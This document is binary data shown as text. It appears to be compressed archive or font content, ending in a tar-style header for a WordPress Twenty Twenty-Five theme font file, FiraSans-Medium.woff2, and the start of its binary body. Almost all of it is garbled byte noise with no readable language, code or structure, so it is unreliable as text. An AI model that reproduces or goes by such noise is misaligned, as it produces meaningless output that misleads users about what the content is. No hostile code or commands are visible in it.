d$˷%RrUUs@ü5`P*VɋGJKm=ص7+Gp|IE-6R\K#v+ 4 썶{K@{ezȯ1}д e#U-u"T{gT-錰go*l iiH;a\۟v(Grf#Բ\"‘稕n.X `.| ά Ǟߴj[y欌-An} m\D:71}LM:BٳeBrף!0WI-˥wb x*Nhq?kyJ0j8ܣE+&si-Zĵ!_J$rtC05O ŀEdڎXyy7Xif˫y ʩ@U} W/#|h_[ +-(7*fO愙>[\X>lh=cltx8;{Ҕ9-)<\9V'-%O}2zTNyNl0ˎK}V_A[BN[.h%Sm*)_j++%38 -ga -%kP @9% 4pG`]c/h@&k)!h3K4賷M^1ZJMG Km>#, k練yEl-8K <%@#`ui1a9Һ, .tGh۳31!f`33{ϿCACv>WVVK{PXsA9c1)ǴU,IΘMh#HmE+;)H迉P&i%Pj\FJB 6WffD3 nC[d2 kZmxwʴǀ E!CXuil,3.a+|ˑ8v,&!".FZюgos"M%-4FW{8GV־ż=?Vُyضc,vRz=s76,*~"pgVbRrHʰSijy*Jg$57cc8,0C+*SoMmGp)-~ԝ4aaaAFxKQjy וRTiIUٝZ N[$ =q;(Ή0 D4 yk IY3dn$d&RO|E-Oeu+\{PAF;(WWjMS4zsB]2xgFi \GT<5VZC$.|yuZٟnimN洜4zAj8D$9Z4//<*q%,)-S1v1a ƩGQ́Q[QVmHVyörunP:K*r\O1*(A I9Ei606K@ 94 + R& e%rhR%Fi B;8EG%lڵ6h}"XTRnҦL% rQn]WmZ:x\ӫ鐋xe!G#@QJ|nTA<4kE1HPJݠt$UrhWZ%r7(!ɷxȆ ""}e V:iҪh x6"VD)FILKSQ\AkRKrKveZ+J]Ns9+)f>+ʮ1{;7OUlg^:FȾEĿ9ib[;^)$Cm,޺|*2SB~@Y,) >$|Xך+-\K?4+=zK>ܶ)&lSKkjc5ÒkBo;׷Oe&k9>T'uZWƶKK׹u־].cg3L^0z8h! V'"M2k?d|iSGVVmZuq&gO6oc!+t䯼ZV~\O{ԜFK=?|ou) [أͽ[|%G'":;\T/p+x芎xf H:bXcQ_5'Q;4&7Lx^GMǡ?nHZx6z}jʠ~h4Dތ^N*p5Gӵ!8ӥahp=^OJϙwfU)ùmp_R*Xewٵ$LZ~~p1PaNגD߮Α Y2S/C-#{u?Z~pdT˹[Ϋ$kVpq5몣hivFz?5K&׺vӭ5ODǜb}JOZ .ějO[$1Y{KG)/C:^{VW_ %Ʀ=e:6!*/S+}+VdРoMU'j*jU*!i7}NT7qAb{Oȳs in; 6u]4>`S?YCb ӪeRkmQשьfe7yaZqMk*K]YWQp[@-gnܫG:L LԈSb&qn9\-E9m薅k{Yc[i5EgS4-;_4l X}B̽NeMf6%Sk6Tyeɫo`hvZ[y:nQfONzS׭VxvuQn.f.Mcїb:y6´r~Zcfo]r5Gc :qq.ϝE f~ %iIے(^3/ Z{e1TXqZR8|9X׷P;CNC>WIPA 95p=r~;_}rJ&I:L";j㩧oC:1QFsjC"f>Ϫ+k|n\Yu&}롩¾S3ZQ+Y7FN'Ӈn$ U{WeS<.yuZUvu9ҙ2j|-i?uˇ yO78ۢ_f")R5 mU)HLFm#]!a^$o¶{ߝܨuw;|):]I+đ{G H>{Sp϶1֎pY1(l\BN2w,cu|1A #yN`-aVs2A"LD_guo꩞ggEc1̼OPqEk5.M}$XaHR>dHm.JsT 素Ed YCOcϾ<+ˌ fI:˹̂dbDG'"Y%`mE6vRlӻ/D E"ŏud|@*F$K"LcҍbS\KrTF\"laa)U ]wV*+rJNf:Բ%;@FDӜtA}{+h!WAg Gmc<8i=UpX [yX1yKX4!}I=T]0 ֻe^MZ 5auL8բwrZPF1ՕѠN d`ͽh;'dg υi@W/JFO䶂LK*1wUeXc(hW,Wj *-9 R8"KE 3樗07T_mKe5)Yy 5@[* tyH&u "/\QͤjIIuq* Pi@muje[2 A#>lo+A#/@jgsڵlXcM >Sɞ"Wa2M %A| yraNI ?r6F@)T9m`:GB*D@tFLyVq H3Ȃ,3)QA&Q8xXQ>8-"+}ʽ~_|7Ro-E1I-pcUs|nbc_zn7ړ`:T#a-FnM{װ;5XR:RX C=(]XBq=݇F+6( IY5I2+ ,(%_0=05@5Xvx Qֆ#A\[EyF k]eb]PѾ(7+h7D`jŻq}n'spJͮrs*^nK!Ɍg!3/"t&W I ' 'nx2|?1$H}kRBAg gk=;ȑeUT'%-]kS XZƁ5Ȧ_M\qtE2IfB:]otאCR&pSϠ㵐 K:xҌ(sW$J#~ &{nŅ @mK1l9Y#ib#UE0ەbѤ/'ǹr!kK8GQ3 A=L}@E/r[n}?E3G+E `S+ .*!ݖH!!B{u݀9zOdwa*)NEN&ĒPeNqdT5h*'A!me Ew1Y-\R.'x@ow*5*7>*E⍹aFտ9+Vr., r ;Œdq2Wx_q%Oؓ],fpiû׋}Y…3 P( j@XP371j]r%e%!];f/̻LVS=y)ǼaneY0l6 OoLTR'OlHl zGn%5X}#Ő@?6ҽ"r=_E_ݜ0m0՘ v0'6]g#GD!!u5Հ.WlD*|n‘~;\^aZlͪeɀ\0ܓ//;۱u1%ϼdzmJh]C悢 GXǫHo:%^h5f R(aоLYDy Hϒ^qi[CKY<'fMRaȣw#jAxc4CمrVS$ݶYuAݠ!^Kgx6NO"I2Khr>bh9DrN$FXDNC:?#e"0SϐRϔ\بE`)6]7/oo/ݵ[d5Uk)wk\3 Hyy"',du[Xl;̙qZqF| X0pRit_%{"-fչ +)crޤdeT]ʮY8яTHm|7J2 Z(.[F'd!?0+[rTg!܁\U0Z34Fj]MmSָVܻORg^Ѷ,8seŲ&U׉˿y(+#7: b{X>\>9-Lު\_g*s{*I^{ݘ_i\Fm@ G%I/sFgOgf<{KQ;] AgFꠗZKȉń56!,zx&s懫Э &dl6}4(>J񔈚qΐ^+\E*&%FJ¶PBW..GIwGI{zrԒ S} Cwy~dw3¨cae՚zelvY&檠b<tz]W؄QuyA LXyUaEqwm.Վ8% X' ;/ zqs5i׵M:"'l9P9\M,}ɟd'*fq[Wr+bwef3vmjIP%+_Z6|2>Gn;f m.SRoDOq=y@_.1}W!PTb jS12~LG2q!;f4?AF? ҎkQe `;emևBZ! *=CuOy7OHԯ!1Ybz^ְc򺦾ci xZFv߸3atK:Eˬ,0ᐧ'T ǧA"e Ĝvf[!=3P0QbWn!% ==sWn}8r^gƕ?GVjpm[sbӌ3ƞy_"+^ơـSd> G=kTPNnF-̉O[%\qimiiZb3wC @Yg@(@ %Ϻ["t@i@p8"„V Io3fvS,j#u&:(23pG@opJ+bh>G2&;qbAPJ[&r+n,9\FL:Ђ0/}lbw2EYs[! ڶׂ#؊@]K8ԇ%͈C=dW"/8Do%[^}?mǓ7f#v _oԻ=+) tXƽl(ahl}qT)`{6qD}U%BP: cW޽Y\JmgSغ)gɝgJIꑕӀ#0=[Dj2LڂʝwM+HƓمclwj巪Sޛ4OJͧ :wOJT#T$Ƨ CxI]R F'J,TI7[pwii$/ )ap E@~T>þLٹy;G ?-ZvsY?R̐Vg"IDFEg[1c9ʬo|/J7.M2 'XѾ x%@``އLb V_ #T@W cU}0ӵLYV  $JN$Q ~fy?'!R-q7`8,,+u+0D @-3Ϟ>NFP;e|rWX@lrq w*{UY5uܝ>1w3KHAYnN kx_QCL{l.=nvS#(R/R4ٽidhfma̅u>rF0 m|!p3M8A'%>!egҴgeժA w) !UR&RvF앒Z';DgEVKіNh4mV*Q*\0͸&(Po2NРS)4t-5zW|}dbJ"y>߄V D okzZ!0)k?{2K56pK`y9Om֨%aK/ӈ?UIIJfXhŔ$k:wu7Aᾤ>_SĩwHHG3gÙ6_yq7+ PTCR-sI'QWA$!)%, ~~b%~ͼӄ,rhnb$#?^O8=Z9#V.SM)>PK/ Pe6`yܥ͵`a֘5 -lmmosYhְ^a'ϗ `8Rؖ ޻ ҷXMST[Maa=tpͫ_Sѯ]YG9"ieg">*_>(F܀꒰3QN{+4!߹O \887b Ej/jL-=-uXᄂ\]^L9vb8)hoWhUC6miY["*wH];'ZN==ާ9i7O6h)Ν՘R ^SXVRG6޴[+/ʦy1;0tz%،w O,pزgbfػLf \s?y$N7|$8^u*݁081tC =G *4d>LԂb4Lտ[ cb+J7%#em;mL'壊'~}xnzh%cБGN;wn%W:Gbţj-+՘-0;ʈJZ)(|]ڟ$*+8{eņr)_8,!QzWqٸ.Yi A`bC:O(AGH6ſgi4=֑ P r=X =nk%Dr}"G>w•;G܌+Ǐ4#9oebiW"gЏU1ٍax*kKK2_X1<bWYxL\3s jO921B+(;rl|2U6:g9l A>&t}Sߖvh駂R.Rvj0L8Ń}ɡb(ϟP&4iP YHe彌bLǝETA[RU;rQ>!u`F,S֤@ucx Y;ꥀ~H7V5&N0 Xί9H(`b2Ut*I*So 7 e)(6Aʮ'RUc2bt8~eWW-zяm^&8(q-f!,;.9 d=yv49^sC UcPMe.#W@ʁ);/H ̘O7- mjZɱylr%ōtQP `"%Ae KLt A32̄U`x5į晣¹=]fP 3{7/<͐j0ZV#nj|_4st\'q¹X|x~}[~!:vx. <9gx|ׯ?|Xj}mp#]]Цsɹ.Z "jƌ`pCȲOm#X81 rxa[2 kpBP蟓o% vp!:1-9oQ^D]^C!ޢ8^~]]z9lEb1,śGbʛZ8 ۥ"ZX0q W[;]_VP懗`$J r>KE|skU\Z'$vhԟ S.jCxMz~П*=5D6ΔwNj㉪tᢍ{-o!qϑ|t+t:50Artȷu S*XHU['(Ⱓē.)A۝2H{"!`t 7$di^@(q )<I^x2(v͡)uI>y1{yA4d֢۳qiC9pg_1Уc"gA%S"4DsiN7 eP p{QQPz9<礋g hCBƟ2=fHq^UcLe9 xpwoOD7nK-2>!2{r?+&$+FʯqȾDo[&8i Z$vV4"?<^2."䤶0oøf4{}Z,+/xuNj)V/2'1pQ=+J @Bqme7wT𰻤?r;s<9?R['"FgU[?h[2ռd`-K$3m+Io:9C|dl5nK`%edJ$dgпCͳiwp_D ,VtɘM@ ;eٽy hHڒgH)!\A]?}3#5SmT}>+16  %Gi/A} ,; ձrܸr5{5oK4ǠRvwk(^m.=Y Df2)N1V<:qW^Bѝ~F"xMh6aA؃V3tSGW47lX#\NQfȎ0VǬ#kLL`P!G'RL!,s9t9٩ 3Oaồ i[TǍFMG=vC33KArlDUxdb/ CVޅ1eRj??#$vl'uˏ8/(pf:5*uQAA{_ĊA{TnO‡!poC7r93leK2G>gSMm> >_Q$jrDcr߰\և<ֲqaN\'}3B$ŵOy"}H8pq`1.Lm_)59\%d_0=e},M>/rBH$SJ=TޔAۣA C" Y"F1L&ǻK3NCd)-㲌㯏U2aI#\L##Ĺw:("@n$ _=%Hﲝ)FK+eޏCN4YӌdT)3oq*˺"6ƹI'2X77rL%0S}`Q4J:s1~\#y%BAY8\ck9 Ӳ>?yHKpt(i!C!V6SF!lmjrKU#6&3:VYuE08V˯9{iMGa"vѐzfTOƙ1 LAw$3n6bdYD95bSҐy,b*5N *A6& a}$VbS$4 "I3%b'6Bhւ2U=ΞnL6a{ q:mhSX.Zb-@Nn]MjY Vce B%l.pwZ[o5FˠxSӎU&YOBz{Y;`篿ː)OxkFE 6:- ?HBJ}FF wHDiЙ Hm\CVhbaI@#K]?Ċ<noZEdE.\VT,-S&rtj)K4;F_Ōl&^Â*"0#ٯ)2;p9m l|$Kٱ7/:/DP5+ueP?R0=hg#ꉺ㸶A2OK6c"yJ i'et&fMV 7+)Yk6饻 :/9R^-h*,{%d{'6 KrD@( ң3Jז#,AN|'nYuw}|T9yTTŚ&A˥:`PѨDZ݄!Uwi 1_P7,5^,뢥A~kyKSsهjaGC 6H 'Ѻќcvܤ'o6\v˘':tNω-Mk p-1霝V*NtLR"HBP3:z gu2-/9o]M@?DzG1IXiv48IKCMJs7-X{i>#7{WI;/弧uYobuNLR.i__F^ӤI\elQ#D7<Ӷg{Pe IlmV;g>=y6nG:NS5iJ83Y7¥Όwź(Ui'L&&K3lcLH^Mi;u6H)6g;U;m雄i6L&8+2)7D/f+.x{dᙎ-dWG >LmYB\cVM2hw5oMGqX11IdҭfMTĻ9 iy 9"d"{&5B,oc*m ;y|Ա7 ?vHѿuӷB|49,v9S$Vg3(d}!\ڦ*,fًDIl M(|+&'ܪ; ne\^rƬǵ#+Bv-8YBi'y;jSPBd9u*VI&ʶuiib2#CݜqM˗aFKΏcbWNv&[LCWTEN}<_(!儝{6co ;RI'tsݶieգ/*2aMWhįN:z^~&(TkN8G #"EÇ`]R8B On<Ϊ|]qR ɤDH>Mq7]NI{!c1kaErj#O;'|GVLck,%]9'p-.(V-[Gb!z2>^s˹M,<D :P8%8wy [Z*|d(qLyL,MSD|zOw„9:MȔ 8O:53p.}> ͅ6=inM]FqwH~;>e}@1^\ϺwXj&5Ul)9O@;̏XlWۢ/P3>,gfAI;b3NŁS~b߂&7aș(,} SO. 1Y`JD '~"7C?o!7']fi-D7fd֑/~IzpF5cǥtfwaa{n_iͰxt_M1I)X(Y/L޴Udsa4*jҰR빚؅s]EA)GヨmF8j; &++SI^|@LM֞zj*6nӹzպHB.gmΜAWQ2i^&sx'aqVuDhjZrʍx^C׊IO hAڤL!;g-.,mT/5(mRZ1I*h!{ mI ݾ6"2&I8_wm;hLs /y K0cీ80Qз+#CP!P Tia FZ}j`v;`iJC:.mH [s5A%t1hNz)·Đ0f"GFߒJ<-uѣd҈ݡ'WƮ@Ї? C4f D T COom%Yףf@"A*d 5 vȾoT9BcTSJL(5)1 RFI:G1#=KT CU2@6HIW'l#R÷*;Ħ+ߣ8s sގ^χFmwX?"Xz\qwlp(V14ҿ")KǴ,f6O7R2Yg81D}qʀ$zjqQxMp{.1k43 o\VF}04brQ9uB>,N0#. ziSwkx`Yk)Eq[nhKU❲+ c/ }T )6Ue){dJR N29gӬ9}HNa`yߧJ"2{G'ViRfa7hc_h6vfo3!sBɅ8e،6nA-'v!*Վ!摚 &vRkRAfgV?H))0Y@XM~S碼u*nEalGAkY E՛ec8Lwb Mio- Mȳ'B}fk 21A GϞF| 2ʏ3k/ˀw|zƧA#?/R$%!e\+QêŀjbS$5ey,bJS&(o-|އ $\.zm.H[+3"&zxXej{F%Dw}o'!I2{ Z}KPށk;nP،?d^b7蠷% J9/-Sśq:a8$ʮ f@P c[3v0mFǽEˎ_1^%?/)'ꙍTtQ#(_4jPLǸpj?!Siap"~${W 7 KżXp fQFj4@MCp.~EGMYq W5+ &_LVφ]Y% QtdiyO\S1^3-%PxʛbÍ',$&T'oS-GV\5֠!ŝ[L%{j^j!~ߥ1ل'O~%B2).JJ"5]WAGZ@*>=ߧ}H$/t""9yq:'`PH}evkeΖjRY o "ʐL୯|m^2~NE‚;ؔL3~A53Dװm# 5˜)euN.HCSfS%/ ]rQtU0SGVޝZkwd;{a~(A}CUcn:qAk2MY-R#-S8|K3efVz^C*̢w RyDd^{[&a2#J_$A4Ya(jƹ> gLYU 2;bݎ T>19.`> 1xw[5RJOȊRfrr1 r z<잾 p8* XHkyE9*PlcstҼ?hUQ,Zr޵t4Ȭ»@8ȟ%m:%TP2߆gq3UZMkCx\6ozW[Sq`rxǴoL̽2HTţ+g ƎM/7Wb`Faw$ d_9]M"BMY='RldXW/ز E0Έ;)ysBZ?_U21ԸH"e(aTy%>-<]oZd$HoцuI_@1ًczfW_[<}HK\uOxw} qo gEjEEAG ̦!dvzE."I>s&`//$HJ F1Á^̆ϊH@K)(4g>7Gt8.)L=f5lk܈Z[] jrsHoF 6mĂ#db5&")ƄiYā 6<4@ z' P.HE4:a7 ATi9[xdN_qhJ]>Q鏗ED/ mIl>G yPz"78[Rx 1aI}@iq!Ҳ1:~hY񢑺.C_*7|>?jm,Z|V{va'ݴN (q.?Nj22fXm;g^%Ř[Vmj6Z:jzWf}"U4e\< qP Im35{qMq` >.12V$Qb_ XFqaO>0!RɊ̟;G83ay) ?+etfnT"`ZٳNI@ ?85Ҍhqr hJN&-u\H,Q19*($k+͍^+e僈Ķ'a>y߫sNǸj&,%LU?z,r2<xVݼT^+ESNZRߚH:W]ږ4 Nv %ΟkiD&dlfhuy_Oʕd++nI33}϶?8zSh}7ѷj|siQ&V$B1A~>^ugX_.F.ছ Y)~MxjѤ.&O JWV_F5 %R-^hߒ~8n@$ Y25;~Xmqp I~O4R<2[rܔlSk I~a4%*B7;O!m))[k[j;غ[WCmPU:Iy-A<ߋYMv]߾ vaš;qSTŗ?l[g^8 [mgkiȍB]YveY] frL>$~]]Q`DHډoLfG bPKOO2O 2Z#@]q =jw[Y2|7@lf>J Ds٪2KV{.s)RW @ y(6}; Hк0FTv';vovdF{v*i59E+&Υn%:i&mFڧʨ"klC=ĆE cucXǙv32~Ag*gt~t*ڔە^$DlYsP ? VpxP;=(=#wq({9i?ԸĨ?{7%@iyGG3yG,h=W7PaU 9L>E!ro~RiP25mz 8{;9 nLQ|S20݂iVIY-g'B1+F">hnt` pcFPrhg^cmdtU0R"VTI: ݲ- }}gjSMkY/(30K}\abFЙj=eTQ b:"MgKEzTUPN)Ÿ|^q̝:MQՇW ~f38YOeh OӢe]"RYWgŧaV B=`2 @pQ R>ŅcM RP=l cOg>eq( nr cFfPݱ6* R2-Ew1;c ?=ȳcxn-7\|/W`;[ʩa7eO{$So~Gsx y463ve_Di="#^e"'?>e',8cIN }TQ2WX] J*_1ktQ!xanCnf8pzSrW2bɶYϮJ6WM#ZH2@>.:<ݖ!"/-41 )=5Y2ԙ買17UhjqS|9#>Z/"S-|t#ݯ}Zyifi/= \kb=ЧX(mIyx aylsvˠ& cFINՔ9zk.@N$bZm64<2:tpQ>)N#l$l2!ifڗPyw.HK цZSՑ>jM^{-}3WFX~ڔ68@2P:G2D Pel]>a>VH7RTmMfFfSjsw_uQ2__6^|/K8_MQخDϘqY!/!Iqk?zoL|=DU%> @8T.5-T SP'U!W{;nq kOj+nm7 b\x!af܏b0tϰcdtuG'`MhFLO<\-*tJF)`wfigtH6+sQ~7OIjE\J:YEzW?lyÜ q 4dc]al8&N zߙ9E^hM\m(wGvR$ŀ-G Cpgݦ6tmi р{1*9C<p<)SȺ*'pV -~sk7[f"J6YHhx ̹)'I%lLྉ֗][ɀy_{".|$ gRWOn|I<6E6 <8Sm|~Wr}("fXoHV*ۂaU-=ذf_'Iz-qW >Lǔ:yNߥkျꝊIjM̤$ZQa^ ¬"(dztQm]z]zj&ĺU 2.r"!0s䐀Cxʾ Ur;/<6L {Ifo>vX nFٺF:6C(S=_ X R .^Wý>]G:J"2_<Ѱ`x9H̢LQ'$R -'*]mPj5rOizOǤupn=oIV}E;eIeh˯0<цY"( !V_L8_v2˃T`-KR1( l !_,#&kuasw:=Pac;= pUa3ҧCGD9% cf~gSCǷ%6in摐]"W+nBs Zjed˚Ł}' !ᮾݖSԍ2b4hi̟{(m@5?|jKM6qq&<)o5d@~?sܧg7̒/~(R`MDXgmDa}f~dJaq2@Ʃ~$5嘵fMu# FrGUki"[u/N>O湂Tŗ&.giSs{rkNQ.jae/OA|Ci*{/]2-8l/WO5%06"~6:㡚cD9qe{lUz t&yX'3#ٺ#{jRe?Ba1 9'M& %}spIj|>p(u>?Ek7gy҃xh̓:6Ќ[#5[%EW芇bul1';5 <ӌjysyz9r9d$X^EӮ;( 99բ%@՚5W*鄾qVr)p-;['odWo ;Bܚ@_=)61*e`ؼ.rE1hF WT]??I9Y?kaӾe=W+e^ wTg kLpgMu&޷&X`hKl 6yVّe8Ko>޸u_q׍+o9WgE aa ҒkS"O)"T96H^vU@Ll{'Rx>4 *AF$*k\Z,jYzuwkQhEI^t^6oot ~F{lk͠[B3Ay$Ip$&a"}ve裻BBUqcpfZ#GEң^)r<"NA.s1(p 0=w̜dZH%V!U&ԨY)b#skqĚ BlR4SJe|&O}^+$? ?􅇼3>u|5}JJy pv(ZuRF7s>RTKr:-w %u.31^lw_d߄Zpwxs*Ty}g7c7x9K"r B7ILΐ:=_x9(Ŀ-qaT|Uzfn{?I3~',lC_JjO`s!*ϛ;o]%b:4S(~pPKb7k{qlvl2_{>6߇#Пc+?nB./Nh@sh֣Px ]D@hG>A?ԹUf[nFr*~ǒ j'$?~Ym7㯿|d;q|n#ed pϿO[^XWV4]CC#&hF@aPoh5eq !ğaEo³-Eh|-۷%щfM!= =ͮ*O{PǦAyhk>iQ9n1+ŜʍB`ex-gl]fUs`N\7ņ|j`{-.zDPLxLjSOZEAZR0o#d `PknJb0݆êL&DEl D(f +N|L'6^E_E39B`6 TYOZpHUpL*L&A՘nȬcw#v(3,RO*Q^,KдcKdcWa#Ծ`EY$O+2+#(ƜJyeBA9h APMTvrA o7FWcp2yY/d96Z_T~+P&o ÿyoST'-96SL6םUCRlߢ ,mRr7$nW0#, ;,XPBIƳp9_Q]Rz\_0+Q:IP׆M%tG({Z-?5h_ {cg]5+LU* ʞ}A̅ aZ hVK`1:[r[+D_1%yZ_~s= L6*(gF$SBL=1^%DP~l|j4SZUj]TI%:<-KSj_B$]-Eff5˻y2 11gήvAyeTӽϢ?^y2dr CQn@\5 k@`{aa(1#AKNeTIƕWGte%ZLe^)Fukw'T_붫JoޓBۼ}K,Wz gCǡ0AŞYp6sfhA5;'//_=>j4$,z~PQNll_-kA"'osYIQ~9eh09+Aj юG]Gd^(;R[Cr&wEӫ{\7 ` ˲l+d D>qKI"-#]Փ`,\g_N8vW[xʀ[Y鑤ozHHGn!GVeҒ7]L}_lI^*s G92,\%Ky2qe@7-||fŀ }vI:Y?ҸO%~5K8GAO0dgb54(= uUy4b4,E[Dn-4mk׃4$U&N8S>G?y2 !ʣYHJi(c^@QOˎ)̈$JY,ɱXZ1Ss'Y$A,#MJErr0&_QjfXcS&ZFH6EK"-疢 G=%r_9{J}%'wEeBJZh\ʙ$&5}M8}Ƒ҂<~ /i;iTJaN٦d˟$57f5SLt<&IEtʒv~qaOy#Ju 1OK:8k$i%pxH)D?5&3as0Pv; 63RNv{UM}kikbEIU˿"rIљ0YTxS,S<" KBԹzQh+W>ŘKQX5V8V9X#=Ҽ,>K*YX+Yڜ )΋ PsTnc>w!ݤ0$M&ܭ%bqҙ>4 #\3L,?e&w06t?G*vk,[({M}rHZIS}XvԻdu_^>C9w a:&!ѯHD ֿQбm(JKk}˨aG0?=3<ܢpYVDK ꒟DZWU!H.w3=[9ߎ yx$J#EnPlKk1w_҅SU&GfrKR5Y ےI8Y6qkMWxKJ~tUf`PqtN%ΊT 04Gs%Zz1\End3ʥ,5F(IAQiLC0zd VILtL5iO2 zhOR-&~z!dW?g[*-_k-kO7^f`m[*PΒݙNZ㨕JtKvfM` 2vf0,꡷㠿j0X)0nmbaM6*b8q zWg''$IƸ0 Atφ  `ty 4=)k*gYM\-E+k/tg#JDeSOV; '5 Fk!]2~BN>_ B}E\_Q"R#"ŦuN9pMg^J5 \IM/CA(S*HUxƪX g4A^i] "p.D(o?4li8r-뾆D^I`NWE{ V-޳`YرKb~!ZSfovޭ'AltWw^huhePW]"t:Wan[>Ʋ˽J,2͙mAԏT"u9 ->r[bcu+m{ v6_?27̘>PcYC(0fZ84 7cݗ[:m|`aM٤[_h(5qF5*k_9kuDپ;oʹK j:>>f$z|KM5cגټJAOSI|/S(EէoGLw^r*cr"C`\~6 |`xƂFG/:4ӧubSdil'7g'ڙuBpZ@!X/oNp,-JH:j'z;=T9RC#<93+\^,qMԦ54M'eW8o_R騚1P5:Ā-oQ]Inc@D @ZO}L'7b'g7)”:qM! >OTصwCmp Y5tlSLD19~TS";MHZsy,tY$FU!Ńee%}knbVJJ17 ~s!Cn #T|lWbPϻ%k5w x?|.iʴF%(dCI, M7ټœ`5(:^ r.뻈@^-vIXꨖJ}@Q}j12%p 7#)1c$P> 6EbU0*%C15=BG1 r(bLNXUbiW .ٙ \F^ Ge }  YSsH_I[^e;Uv0#&>tbEjʏPpF g#7Xܗr_x4eZ2¡Fa,t= V5ٹ79J: ډtg"~RGF>Y}sSi1DJ{Ix|Al_Ljyj0>FR]9UQ,V2CDC11P a1W}|.[Lb}!E;gD-ajÏN4{iN2I™ )@Dws#֜o%z4Fo&"FSѻ?%c(SѼDyMxebJoNUl.\;y8j}Mo$9HyQ$^! wQVMʨz]`y~`9Y D$9e2 #/;jgYi&Ac|m3xz7Mn'1epU \T3Nчñ _J"Fb%jlbČuaa?xJL"eҔ%Wr}0Sh7[iZinOӋ reI++qf+p>,]蹋Ǘ.eu669UCk9.5&G+oO֞o~܂,ARhs!roٹƺR\%.&ViѧZe-r- -NQRieW5{xj^ƚjxpuS/@ 5v1ĤMu^7սS6t/}[ -r+&eF?ד <:9':op]囐bDIAB#1F% 6eK4*mB߹&eKXp!gۦ@4BWݨH)G""PYi_^˸F}R{ !y\ J3ӽ9hcM:[Sy/@ B .B)TH%H$YԽTiKAQ]+Ph//ʔӪTQnz !?u[ԧ߀AC 1j̸ M2>8̙i}e<Zl|nÏ;Vظ T/&R[1%dJ:v,e#GXG -u[PhN$V#i9j I5w&"uϪUhPΝĺ_=Mkӽ PnѨ'0ʌ{, h mq I)iY9} 4ȤF  # *LD+N8*+KgqI2fv t |ӡHP0Z U4! BF"*(%ˠa$2D J*jڼYXـOsٸyxW捊ǗlI&o!FBL LטC08j6 D5T3,:LJA]5IjZu%k2'@|fk~,AFP 'HfXDIVTM7R|d1fXDI|\A7L_(NRőeU7v3bjwϴl 0 B*m $8Uݴb8ˊx$yzgݾslMԷpT2. )cd_ôlW uE iQhF4b*`./KerR6_o`hdlbjfnaiemckg =<|bʼn Qd)ލtK2eVgf[A#($,"yǚ6rnb%X[ $@H)^ GJG} g[W/Vt6!vf"kb[&L"YpD L,EȣnN(g޻llN3MHhA׏%o,՜%9{ozS;r7  yܔɯ?ٽXO}ۯ߾*gU+*?~ r]~5~= ޻Io9bPde% ¸ V.~0DA萁C"A T@шTt >h/ʴlD FyҶlYP˨iGpѓ|.-qa'|F#NDLs`2q^TU8$ߤUt䞀 'z-WA tP(QĮ`s&Dfo<}n r[jF<8#`Vb8x.a6 aۆ<\cm2^NdH M$vfY:(˦+OE :-_A ƧLe/Gu$h0{)4 pThfH[¦sz ͼ@ %-z}헒WIYz%ܼ,M#(9Oۧ%Wq5 km#,m`i4 >oG{@!Y7WB!הƯǟtP6{C1:mIzAiՔ9S `3VZwU;9+32&I(؄ l4Ff [cF7K9\pq@l@*<1* D_lJp6c ʭ*hkwP$50%k d)HJ=L֪rJ~ɺHq-5u1XZ"W'赂?6Sf_wǡ5@z"fTVܐ@&v]x[殬x1@UX@Ё;.Xzl(Qoou#J:=;3hIFtM#Y5] |c2>Dmzz{ԅV4=]1l衴s0(GLmy-Ҿ j{O@2_=>L+s67N1@`"vMGTMh]\"`w `no<+AP=\^#r N%7B/zx9zһ 6V? 05rޝ=D#R ս]x6b4B4i3Y &We' rD*HE/Z,<b 笢̔iYX8w3<) ĉtN7@qJQJ>Qâ_ѯWyfobZBx)t1YJ'U*^YOK1*@L>[x@ck*m8P drzɩnKB!RQEÃxd_K?\2*K>)KBcKsT?я[ mFM5X[xCQ r$U8RoݞO??ཱིw*#H}t_+yZEYao&J]e3U>|~>xHKm_zzh1x1dP^׏`JmY3̪* gS5WD0Tm)u_0V5 *m^{WҽN!)YJIi}BZR\5 ,;N;gf*cYs(+g¦!Bj.+t޻ gRnm-Y 9JW\ D 0x"cxScL!BJ)%RJI!\Hm \!N!u_SQgS.dY#a1Bj1Bj1Bj1Bj1BjD,D qbҢpEZlu;5 k1#HRUQQe+E-\9b&t"?~2]eUuT#8/z9%4p0Ç (rX}f䎡93G P<"(%]Ξ [tɻPhZ1L0$#0 G3-oJ*82 Nd9D2fWŦ<a'HzqFqS'0 03o IAAhMVJ?; _W_}U5/!&$_9^6zj^BːV[;  3Ps:7^+nwE79U<;2FzJ9qXTqoJ'Ѳ`qs&4\ڹ;|` [*ٲT);k!lYi!S$!kRK-ˣ5͊1nӹER3U7Yg;edN.)lk켥PʣΒp}:Ud3r&BEԒSh}pE!GDhֱt&!s2HgƥaSOK7yT ˡ Rc<ܒwqL23$Z &0l8nSD.e $u4p"BYmՔT" F2. aXa,zkd#aRܪX:&0)/U+\8c֬UJ=u1p,$, lA<{>9;=V<ʦ4 =7ѹh KnXky vhm`fKG0PVЋp 1Z.B'&^ hF_XOd̲?1xf`ӌ }O3L._|/~=5ϴ0 o,#`E|!A#SXT!EPlD #8! b]NIE bYU`!8V.91L# #Xw!ii=p8a345Y#-B=;=4Q^ I#-.ZuS;/Q6 ;.S~%j6zoIlW?F~&[Pp6;3@}^W&`W~Yv/ݳ'{Yɉ#~J5 8cṫ(NxZI⊟;SᆸpHѢSՕЧ@yx&A<`z;Yܻ.7ц:Uzdy:sPNZv_τ_;y8/&R~=JLC^}}w!̸%l&r?1wĤ[–JF<@2aKݭr^~GDlzv xO? om+ԟ|q)_PI=])E+P%'š:>EOA1t6=S=pd_Χ1΢sg81t>Ai6Iu(&Ӣi F(Tޡ vT @eڀܥE1"3nQ=U}"P*N'g쁋؅ѽi)Kgr^:Ǣ/=A.ON1qŔ7`*WJPiUR~Z/+Gӡꀥ)$x%`>GxxPp(͒'7x߻+X])M57[@!] yjlxqIv*|gez1Vk v뛕$ Moo ژݝ/#FyQJH*%ee>V͙Mn2_Rs{]&M>t&(tagC]P# !QʿH xvGl9`?&eGxlX{l$Vwe)px%qZ㩼4wKm-};L\`s{2r8O_ 2#ߑk/ r{rdi$aE"LͼQPup=# {HAޣJ>xCfGvihIn[?ˢP'4![dFz 'IJU{PqVFڰHJy?>LM~s҂9' P}۫اJ, 3;Et)_]8%2Tx"ӭSBkcW`themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2000064400000467414152335264760021754 0ustar00wOF2o unM(:`h  (V6$   o[փFp|מ:T)Y{?ew%˿ukkPjvl70;$Ncъ~bqEܾu$mg|qB"V#O(XM 2AZJjTYl%!, Pn|4EӠe4c6[C 